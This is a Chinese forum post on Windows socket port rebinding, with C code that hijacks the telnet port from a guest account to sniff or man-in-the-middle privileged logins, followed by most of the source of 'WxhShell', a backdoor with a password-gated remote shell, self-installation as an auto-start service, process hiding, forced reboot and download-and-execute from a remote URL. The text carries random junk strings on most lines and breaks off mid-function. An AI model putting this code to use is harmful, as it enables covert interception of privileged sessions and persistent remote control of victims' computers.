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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |9mGX9q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;W3c|5CE  
u+ 8wBb5!  
  saddr.sin_family = AF_INET; 5yf`3vV|3@  
b7HT<$Wg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UZo[]$"Q`  
8< z   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \j0016;  
nr%P11U\c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c22L]Sxo  
dl+c+w"  
  这意味着什么?意味着可以进行如下的攻击: O`.IE? h#  
l?KP /0`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VW:Voc  
>| hqt8lY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p e$WSS J  
L7N>p4h]Xj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bb7Vf7>  
gh% Q9Ni-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  UM. Se(kS  
@Z89cTO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o3.b='HAm  
BUXlHh%<R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -_f-j  
2`V(w[zTr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1Ch0O__2L  
/?S,u,R  
  #include "gt*k#  
  #include '3B7F5uLx"  
  #include Lp{/  
  #include    ^NrC8,p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F "-GhjK  
  int main() ]gVW&3ZW  
  { i7`/"5I  
  WORD wVersionRequested; 7qg. :h  
  DWORD ret; 6g"qwWZp  
  WSADATA wsaData; <4*)J9V^s=  
  BOOL val; tA-p!#V<k1  
  SOCKADDR_IN saddr; v#9Uy}NJ9  
  SOCKADDR_IN scaddr; E\VKlu4  
  int err; vcSb:('  
  SOCKET s; MwWN;_#EO)  
  SOCKET sc; NZuylQ)0  
  int caddsize; ":L d}~>  
  HANDLE mt; Ar`U / %Cu  
  DWORD tid;   2&:nHZ)  
  wVersionRequested = MAKEWORD( 2, 2 ); Rc~63![O.  
  err = WSAStartup( wVersionRequested, &wsaData ); ,772$7x  
  if ( err != 0 ) { %D[6;PT  
  printf("error!WSAStartup failed!\n"); w=ZK=@  
  return -1; 5- "aK~@+  
  } Bacmrf  
  saddr.sin_family = AF_INET; n;r W  
   lv& y<d;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 m!:sDQn{3  
03 ;L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S,#UA%V"  
  saddr.sin_port = htons(23); nk+9 J#Gs  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .7n`]S/  
  { P,7beHjf  
  printf("error!socket failed!\n"); $WbfRyXi7'  
  return -1; %Pk@`t(3  
  } }M${ _D  
  val = TRUE; l8d }g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dhi9=Co;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <X]dR 6FT  
  { gm}zF%B"  
  printf("error!setsockopt failed!\n"); 6"V86b0)h}  
  return -1; A )xfO-  
  } Uy$?B"Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0lpUn74F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {Lvta4}7(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D__*?frWpW  
f6%7:B d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )IGx3+I ,  
  { ^%/d]Zwb  
  ret=GetLastError(); b+THn'2  
  printf("error!bind failed!\n"); 8-q4'@(  
  return -1; k; vhQ=  
  } 7G23D  
  listen(s,2); TL([hR _  
  while(1) 9w$+Qc  
  { M;E$ ]Z9  
  caddsize = sizeof(scaddr); iuEQ?fp  
  //接受连接请求 d'b q#r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %~qY\>  
  if(sc!=INVALID_SOCKET) JPkI+0  
  { kSO:xS0 _N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E=l^&[dIl  
  if(mt==NULL) 6g'+1%O  
  { ]}BT'fky#  
  printf("Thread Creat Failed!\n"); t+n+_X  
  break; f_ UwIP  
  } I=}R Z9  
  }  X&.LX  
  CloseHandle(mt); hi9@U]H#  
  } p}h9>R  
  closesocket(s); rTM0[2N  
  WSACleanup(); o`\@Yq$.  
  return 0; (?~*.g!  
  }   [2nPr^  
  DWORD WINAPI ClientThread(LPVOID lpParam) (J`EC  
  { Eo_; N c  
  SOCKET ss = (SOCKET)lpParam; %o#|zaK  
  SOCKET sc; u$mp%d8  
  unsigned char buf[4096]; *x&y24  
  SOCKADDR_IN saddr; iFaC[(1@a  
  long num; z229:L6"  
  DWORD val; TXK82qTdf  
  DWORD ret; R5MY\^H/A  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {&.?u1C.\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A{a`%FAV  
  saddr.sin_family = AF_INET; ]nQ(|$rW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^I6GH?19>e  
  saddr.sin_port = htons(23); aKC3v R0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +zSdP2s  
  { 6#1:2ZHKG  
  printf("error!socket failed!\n"); jW_FaPW(p  
  return -1; `rI[   
  } XnV$}T:?X  
  val = 100; 3ypf_]<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) firiYL"=44  
  { Be2yS]U  
  ret = GetLastError(); s@5r}6?M  
  return -1; IP l]$j>N  
  } VHTr;(]hk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +v"%@lC};  
  { q<w Q/m  
  ret = GetLastError(); 1<3!   
  return -1; = j S  
  } !gFUC<4bu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kIYV%O   
  { &p:GB_  
  printf("error!socket connect failed!\n"); N!^5<2z@eT  
  closesocket(sc); kS$m$ D  
  closesocket(ss); a1# 'uS9W  
  return -1; ;n=A245W\  
  } ob"yz}  
  while(1) _ hs\"W  
  { D``>1IA]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O,?aVgY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 - WK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g'1ASMuR  
  num = recv(ss,buf,4096,0); \9s x_T  
  if(num>0) -87]$ ax  
  send(sc,buf,num,0); @2)ImgK[  
  else if(num==0) ^Ts8nOGMh  
  break; 2Jc9}|,  
  num = recv(sc,buf,4096,0); dX5|A_Ex  
  if(num>0) Rz!!;<ye8  
  send(ss,buf,num,0); ELQc: t -2  
  else if(num==0) odC}RdN  
  break; +a((,wAN2  
  } #gY|T|  
  closesocket(ss); oY0`igH  
  closesocket(sc); f3HleA&&  
  return 0 ; xEvm>BZi  
  } T&~7*j(|e  
K44j-Ypb  
9!|+GIjn  
========================================================== @m Id{w z  
MyJG2C#R  
下边附上一个代码,,WXhSHELL 6pY<,7t0  
Y'v;!11#  
========================================================== D'3. T{*rH  
R3Ka^l8R|  
#include "stdafx.h" <.B^\X$  
Jl(G4h V'\  
#include <stdio.h> D^e7%FX  
#include <string.h> :T #"bY  
#include <windows.h> ;#Pc^Yzc1  
#include <winsock2.h> 'ai!6[|SD  
#include <winsvc.h> DX%D8atrr  
#include <urlmon.h> SHT^Etri  
<P4*7:jX  
#pragma comment (lib, "Ws2_32.lib") f!aE/e\  
#pragma comment (lib, "urlmon.lib") Qv>rww]  
IYk^eG:;  
#define MAX_USER   100 // 最大客户端连接数 K5SP8<.  
#define BUF_SOCK   200 // sock buffer ?^H1X-;  
#define KEY_BUFF   255 // 输入 buffer Jdp@3mP  
H{nYZOf/  
#define REBOOT     0   // 重启 Wx-vWWx*Q  
#define SHUTDOWN   1   // 关机 eGh7,wngH  
d65t"U  
#define DEF_PORT   5000 // 监听端口 hpOUz%  
ccu13Kr>E  
#define REG_LEN     16   // 注册表键长度 @CU~3Md*  
#define SVC_LEN     80   // NT服务名长度 y:3d`E4Xw  
[Y=X^"PF  
// 从dll定义API ,,KGcDBj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Oe[qfsdW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jJDY l([  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s55t>t,g6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @"E{gM@B  
>hbT'Or@  
// wxhshell配置信息 {#'M3z=  
struct WSCFG { V9Gk``F<RZ  
  int ws_port;         // 监听端口 a4L0Itrp  
  char ws_passstr[REG_LEN]; // 口令 pRLs*/Bw  
  int ws_autoins;       // 安装标记, 1=yes 0=no X ?lF,p  
  char ws_regname[REG_LEN]; // 注册表键名 |ZnRr  
  char ws_svcname[REG_LEN]; // 服务名 |U4t 8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lc:DJA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oK3aW6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 78i"3Tm)w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Hz6yy*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }th^l*g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }475c{  
@lnM%  
}; x6c#[:R&  
<7%4=  
// default Wxhshell configuration p~xrl jP$  
struct WSCFG wscfg={DEF_PORT, :xP$iEA`G  
    "xuhuanlingzhe", w(xRL#%  
    1, N2x!RYW  
    "Wxhshell", Vt!<.8&`  
    "Wxhshell", _noQk3N  
            "WxhShell Service", \"u3 x.!  
    "Wrsky Windows CmdShell Service", f!"Y"g:@E  
    "Please Input Your Password: ", Ft)Z'&L   
  1, }&mFpc  
  "http://www.wrsky.com/wxhshell.exe", ef;Ta|#  
  "Wxhshell.exe" ttK`*Ng  
    }; BLvI[b|3gn  
r\-25F<e5  
// 消息定义模块 hIr$^%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r 7mg>3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K{s% h0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2i@t;h2E  
char *msg_ws_ext="\n\rExit.";  !&Z,ev  
char *msg_ws_end="\n\rQuit."; U5z}i^8a  
char *msg_ws_boot="\n\rReboot..."; N3`W%ws`~  
char *msg_ws_poff="\n\rShutdown..."; 2%DleR'i  
char *msg_ws_down="\n\rSave to "; gxku3<S  
EdPN=  
char *msg_ws_err="\n\rErr!"; F|DKp[<]8  
char *msg_ws_ok="\n\rOK!"; ]U,K]y[Bj  
U|%y `PZ  
char ExeFile[MAX_PATH]; k<M~co;L  
int nUser = 0; aumXidb S  
HANDLE handles[MAX_USER]; o,sw[  
int OsIsNt; Q&9%XF uM  
>Lo!8Hen  
SERVICE_STATUS       serviceStatus; dWI.t1`i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $.z~bmH"D  
+HK)A%QI  
// 函数声明 yeCR{{B/'  
int Install(void); <9s=K\-  
int Uninstall(void); y ;4h'y>#  
int DownloadFile(char *sURL, SOCKET wsh); cc%O35o  
int Boot(int flag); ($oO, c'z  
void HideProc(void); 4P>tGO&*x  
int GetOsVer(void); Uq,M\V \  
int Wxhshell(SOCKET wsl); N&0MA  
void TalkWithClient(void *cs); IFX|"3[$  
int CmdShell(SOCKET sock); i~IQlyGr.  
int StartFromService(void); B9 Dh^9?L  
int StartWxhshell(LPSTR lpCmdLine); Qw$"W/&X  
r $du-U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FBGHVV w!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !7g E  
a* pZcv<  
// 数据结构和表定义 %acy%Sy  
SERVICE_TABLE_ENTRY DispatchTable[] = B=;pyhc  
{ =oF6|\]{ ;  
{wscfg.ws_svcname, NTServiceMain}, ZHs hg`I`  
{NULL, NULL} Te8BFcJG  
}; toipEp<ci  
!j(KbAhWZ  
// 自我安装 4JHQ^i-aY  
int Install(void) Or9@X=C  
{ ~EU[?  
  char svExeFile[MAX_PATH]; f$E66yG  
  HKEY key; ~PNO|]8j  
  strcpy(svExeFile,ExeFile); ."Yub];H  
xrT_ro8  
// 如果是win9x系统,修改注册表设为自启动 j}R4m h  
if(!OsIsNt) { JXlFo3<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v`hv5wQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ooqa<_  
  RegCloseKey(key); e^@/ Bm+B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W RAW%?$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (%>Sln5hq  
  RegCloseKey(key); NEO~|B*oDU  
  return 0; `~(C\+gUp  
    } S iw9_c  
  } r2T?LO0N{  
} LoG@(g&)  
else {  =&fBmV  
F_~-o,\  
// 如果是NT以上系统,安装为系统服务 33kI#45s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yf:utCvv  
if (schSCManager!=0) Kfj*uzKB  
{ <LW|m7  
  SC_HANDLE schService = CreateService $ Yz &x%Lb  
  ( HHZ!mYr  
  schSCManager, kXC.rgal  
  wscfg.ws_svcname, bE>3D#V<  
  wscfg.ws_svcdisp, ABV\:u  
  SERVICE_ALL_ACCESS, ,l<-*yMD  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z1+rz%  
  SERVICE_AUTO_START, 1#qCD["8  
  SERVICE_ERROR_NORMAL, LM'` U-/e$  
  svExeFile, +29;T0>a  
  NULL, Z"? AaD[  
  NULL, Za!c=(5  
  NULL, DuvP3(K  
  NULL, BH0rT})  
  NULL SEchF"KJQF  
  ); BHmA*3?  
  if (schService!=0) W7A'5  
  { 4Sg!NPuu7&  
  CloseServiceHandle(schService); l7{hq}@;cC  
  CloseServiceHandle(schSCManager); +>qBK}`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "tIf$z  
  strcat(svExeFile,wscfg.ws_svcname); savz>E &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :,q3?l6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q]xW}5 /  
  RegCloseKey(key); QBsDO].J<  
  return 0; w#mnGD  
    } sW2LNE  
  } `^J~^Z7Y-  
  CloseServiceHandle(schSCManager); %Y Rg1UKY  
} * Kzs(O  
} @@|E1'c7  
M]` Q4\  
return 1; G P1>h.J  
} :=L[kzX  
!P Gow  
// 自我卸载 H5RHA^p|  
int Uninstall(void) n'*Ljp  
{ ~vl:Tb  
  HKEY key; QrA8 KSLC  
e3>Re![_.  
if(!OsIsNt) { _ z4rx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nv$  
  RegDeleteValue(key,wscfg.ws_regname); )Elr8XLw  
  RegCloseKey(key); 9jPb-I-   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Bjp{)*  
  RegDeleteValue(key,wscfg.ws_regname); 'fA D Dh}  
  RegCloseKey(key); a3c4#'c|D  
  return 0; nnGA_7-t  
  } .`'SL''c  
} Bhq(bV  
} @I"Aet'XV  
else {  ,O~2 R  
C-Fp)Zs{0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '*,4F'  
if (schSCManager!=0) j [U0,]  
{ c?R.SBr,'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _TPo=}Z  
  if (schService!=0) jATU b-  
  { H4:TYh  
  if(DeleteService(schService)!=0) { 6$6NVq  
  CloseServiceHandle(schService); ESrWRO f9  
  CloseServiceHandle(schSCManager); X3m?zQbhv  
  return 0; Na~_=3+a  
  } wO!hVm,T a  
  CloseServiceHandle(schService); zRJy3/>  
  } 5ZKnxEW,(  
  CloseServiceHandle(schSCManager); ABHZ)OM  
} Lv^j l  
} fBLd5  
*i?qOv /=>  
return 1; ?*s!&-KI  
} _@OYC<  
^w12k2a  
// 从指定url下载文件 fcZOsTj  
int DownloadFile(char *sURL, SOCKET wsh) `p?E{k.N  
{ (&*F`\  
  HRESULT hr; '9/kDkt!  
char seps[]= "/"; ^n2w6U0  
char *token; R$@.{d&:w  
char *file; .4Ny4CMHZ  
char myURL[MAX_PATH]; o7T|w~F~R  
char myFILE[MAX_PATH]; 1 I+5  
:> q?s  
strcpy(myURL,sURL); Y>#c2@^i<  
  token=strtok(myURL,seps); j d8 1E  
  while(token!=NULL) OXacI~C  
  { *(scSC>  
    file=token; ]Cz16e&=2  
  token=strtok(NULL,seps); aBI]' D;  
  } >Qx#2x+  
"|G,P-5G"  
GetCurrentDirectory(MAX_PATH,myFILE); ^]DWrmy  
strcat(myFILE, "\\"); @Hf }PBb  
strcat(myFILE, file); k`AJ$\=  
  send(wsh,myFILE,strlen(myFILE),0); >gSerDH8\  
send(wsh,"...",3,0); ~+np7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ". 0W8=  
  if(hr==S_OK) H\k5B_3OU  
return 0; 72,iRH  
else y%,BDyK  
return 1; :9YQX(l8  
-0X> y  
} )mPlB.  
-&EmEXs%  
// 系统电源模块 z )pV$  
int Boot(int flag) hjG1fgEj  
{ =R'v]SXj  
  HANDLE hToken; JB(;[#'~  
  TOKEN_PRIVILEGES tkp; R,\ r{@yrz  
0c5_L6_z  
  if(OsIsNt) { O%&@WrFq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1;P\mff3Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eI}VHBAz  
    tkp.PrivilegeCount = 1; HIq1/)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]2(c$R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ??m7xH5u1  
if(flag==REBOOT) { ifs*-f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =eqI]rVj^  
  return 0; g,:N zb  
} `g1Oon_  
else { {Pb^Lf >  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RF)B4D-W  
  return 0; QC4T=E]` j  
} [j? <9  
  } gHx-m2N  
  else { x3s^u~C)(w  
if(flag==REBOOT) { Wn^^Q5U#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L)}V [j#  
  return 0; x 5SQ+7  
} V</T$V$  
else {  z\tJ~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B0i}Y-Z  
  return 0; !_ Q!H2il  
} %d0S-.  
} aHC;p=RQ\A  
.e"Qv*[^  
return 1; (g m^o{  
} X^Y9T`mQ}  
pCmJY  
// win9x进程隐藏模块 Fw9``{4w  
void HideProc(void) nEm7&Gb  
{ :*@|"4  
*$(CiyF!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @WHd(ka!  
  if ( hKernel != NULL ) 5S]P#8  
  { `5-#M/J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FA9e(Ha   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w.aFaR)04  
    FreeLibrary(hKernel); {0e{!v  
  } AfN   
}qv-lO  
return; XyphQ}\u  
} E ZKz-}  
r$FM8$cJ  
// 获取操作系统版本 z[%v _S  
int GetOsVer(void)  vkpV,}H  
{ rO$>zdmYHs  
  OSVERSIONINFO winfo; va(9{AXI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [\9(@Bx  
  GetVersionEx(&winfo); p qN[G=0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uS#Cb+*F  
  return 1; K=x1m M+RK  
  else IKDjatn  
  return 0; F[=lA"F^  
} yl<$yd0Zdu  
[7 `Dgnmq  
// 客户端句柄模块 tgtoK|.  
int Wxhshell(SOCKET wsl) |/^aL j^u  
{ bM^A9BxD  
  SOCKET wsh; \a2oM$PX  
  struct sockaddr_in client; GFdJFQio  
  DWORD myID; Z 034wn\N  
]8>UII,US  
  while(nUser<MAX_USER) 37- y  
{ SP7g qM  
  int nSize=sizeof(client); "tB"j9Jb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sLa)~To  
  if(wsh==INVALID_SOCKET) return 1; Jf<yTAm  
q>(u>z!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oHXW])[  
if(handles[nUser]==0) UUf1T@-  
  closesocket(wsh); aE+$&_>ef  
else ICbdKgLz  
  nUser++; Zmbz-##HQ  
  } qV8\/7'A0a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ym{%"EB  
gpK_0?%  
  return 0; jnp6qpY{  
} %[\x%m)  
Z*(! `,.bB  
// 关闭 socket J s<MJ4r>/  
void CloseIt(SOCKET wsh) fyq] M_5  
{ H.8CwsfP  
closesocket(wsh); y7)[cvB  
nUser--; hf^`at  
ExitThread(0); FR,#s^kF  
} sx<+ *Trl  
zg Y*|{4Sl  
// 客户端请求句柄 0rJ\e  
void TalkWithClient(void *cs) Ya&\ly /i  
{ <6b\i5j  
V@n(v\F  
  SOCKET wsh=(SOCKET)cs; ,cy/fW  
  char pwd[SVC_LEN]; _Kl{50}]  
  char cmd[KEY_BUFF]; bOSYr<R&  
char chr[1]; mGpkM?Y"  
int i,j; 0SCW2/o8  
(zJ$oRq  
  while (nUser < MAX_USER) { o*wC{VP_  
";?C4%L  
if(wscfg.ws_passstr) { EM 54  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wy_;+ 'Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e|5B1rMM  
  //ZeroMemory(pwd,KEY_BUFF); tct 5*.|  
      i=0; =PKt09b^  
  while(i<SVC_LEN) { <x0uO  
@7l=+`.i  
  // 设置超时 kYA'PW/[ )  
  fd_set FdRead; 95?5=T F  
  struct timeval TimeOut; [+MH[1Vr={  
  FD_ZERO(&FdRead); U~#^ ^  
  FD_SET(wsh,&FdRead); >RL6Jbo|  
  TimeOut.tv_sec=8; `k{ff  
  TimeOut.tv_usec=0; w[ YkTv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ghobu}wuF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ksOANLRN  
(ln  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (m3I#L  
  pwd=chr[0]; Fe& n,  
  if(chr[0]==0xd || chr[0]==0xa) { 7Ysy\gZ&wp  
  pwd=0; "Yfr"1RmO  
  break; AYPf)K;%  
  } BV }(djx  
  i++; iZ.&q 6  
    } h*\TCl)  
^=izqh5S  
  // 如果是非法用户,关闭 socket }lC64;yo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g"Q}h  
} 3h[:0W!C]  
'x45E.wYw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U8WHE=Kk\h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ))CXjwLj;  
M89-*1  
while(1) { C?/r}ly<\  
C;)Xwm>e  
  ZeroMemory(cmd,KEY_BUFF); 8!&ds~?  
=Y]'5cn{  
      // 自动支持客户端 telnet标准   N}}PlGp$  
  j=0; lNA'M&  
  while(j<KEY_BUFF) { EN-8uY.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /HjI=263  
  cmd[j]=chr[0]; ek(kY6x:  
  if(chr[0]==0xa || chr[0]==0xd) { :@QK}qFP  
  cmd[j]=0; 4iYKW2a  
  break; v't6 yud  
  } %7C%`)T]  
  j++; nv_m!JG7  
    } STXqq[+Rf  
&3 XFg Ho  
  // 下载文件 ^T}}4I_Y  
  if(strstr(cmd,"http://")) { 8t T&BmT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GLaZN4`  
  if(DownloadFile(cmd,wsh)) c >u>Pi;Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eHR&N.2  
  else <i:*p1#Bm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hyk|+z`B  
  } yd0=h7s  
  else { >ggk>s|  
a9? v\hG  
    switch(cmd[0]) { MAwC\7n+X  
  [U%ym{be ^  
  // 帮助 J3lG"Ww  
  case '?': { iL7-4Lv#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9&O#+FU  
    break; aeuf, #  
  } VW{aUgajO  
  // 安装 kO..~@ aY  
  case 'i': { JK(`6qB>(6  
    if(Install()) up+.@h{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?dJ/)3I%F  
    else zt)p`kdD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L)kb (TH  
    break; (<]\,pP0_  
    } u|m[(-`  
  // 卸载 gJFR1  
  case 'r': { HsjELbH  
    if(Uninstall()) e?^ \r)1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5eiZs  
    else q9>Ls-k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b!4N)t>gl  
    break; ;PfeP ;z  
    } R "/xne  
  // 显示 wxhshell 所在路径 5';/@M  
  case 'p': { |dl0B26x  
    char svExeFile[MAX_PATH]; B^8ZoF  
    strcpy(svExeFile,"\n\r"); ! F0rd9  
      strcat(svExeFile,ExeFile); _KSfP7VU  
        send(wsh,svExeFile,strlen(svExeFile),0); A6?qIy  
    break; BB2_J=wA  
    } * 1 |YLy  
  // 重启 x38SSzG:L  
  case 'b': { tsTR2+GZS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P[Y{LKAbb  
    if(Boot(REBOOT)) $'A4RVVT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iX8h2l  
    else { a' IX yj  
    closesocket(wsh); m%e^&N#%6r  
    ExitThread(0); KXoL,)Hl  
    } 5`4}A%@&  
    break; !p]T6_t]Q  
    } %|:;Ti  
  // 关机 ;=5@h!@R  
  case 'd': { Qa,NGP.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r.^0!(d  
